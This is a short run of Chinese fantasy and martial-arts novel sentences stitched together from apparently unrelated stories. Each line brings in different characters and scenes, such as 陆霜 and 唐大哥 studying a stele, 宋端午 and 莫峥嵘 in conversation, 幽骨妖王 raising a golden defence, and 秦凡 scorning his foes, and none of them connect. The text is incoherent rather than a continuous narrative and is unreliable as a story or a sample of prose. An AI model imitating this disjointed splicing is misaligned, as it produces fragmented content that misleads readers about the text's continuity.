这个故事虽说传说,可奇怪的是为何太祖会将这些写在这块碑之上呢?”陆霜见我对着那块石碑出神,提着问鼎走了过来,轻声问道:“怎么了唐大哥,你发现了什么?”我兀自还在思索着为何石碑上偏偏留下这几个字呢? 李斯琴说得情真切切,让人无法挑出不信的理由,可叶承轩的眼里还是露出不信任的目光。 一直盯着这巨瀑的她,缓缓走到瀑布跟前,只见银白色的水流像澄澈的月光,一缕一缕地倾泻下来。风吹过来,把水吹成轻雾洒在她脸上,凉丝丝的。 稍歇,冰冷的汗从周身沁出,那两股力量同时消沉下去,再无踪影。 也不知道宋端午刚才的那一句“两者”是不是真正的打到了莫峥嵘的心坎儿里,总之当宋端午说完那番大段的话后,莫峥嵘却是陷入了沉默,良久的沉默。 说话间,幽骨妖王周身金光骤起,比太阳余晖还要亮,金光之外燃起点点火焰,像一个个火把,已然把防御做到极致。 从对方在斥掉那颗受真气控制的飞弹后并没有选择离去,而是选择从容地等自己过来这一点,足以看出倪端所在了。 看着四周“灵水”充满了一股强烈的灵气,似有一股威压,灵液顺着皮肤毛孔慢慢进入体内,修为在一丝丝的增长,片刻时间,一股强烈的灵力威压向她汹涌而来,感觉情形很是不妙,一跃而起落入前方地面。 “什么?你将灵鹫宫传给了他?”不只是方青山,李秋水同样大感意外,一脸震惊的盯着竹楼。 当秦凡抬步走到又一名神士身边后,对方歇斯底里地在绝望中疯狂凄叫。 死亡猎犬似乎有些疑惑,它来回扫视,却是没有任何发现,最后这只巨大的黑色猎犬呲呲牙,最后还是摇着尾巴离开。 “收拾这些土鸡瓦狗,需要有人壮胆吗?”秦凡摇摇头,轻蔑一声道。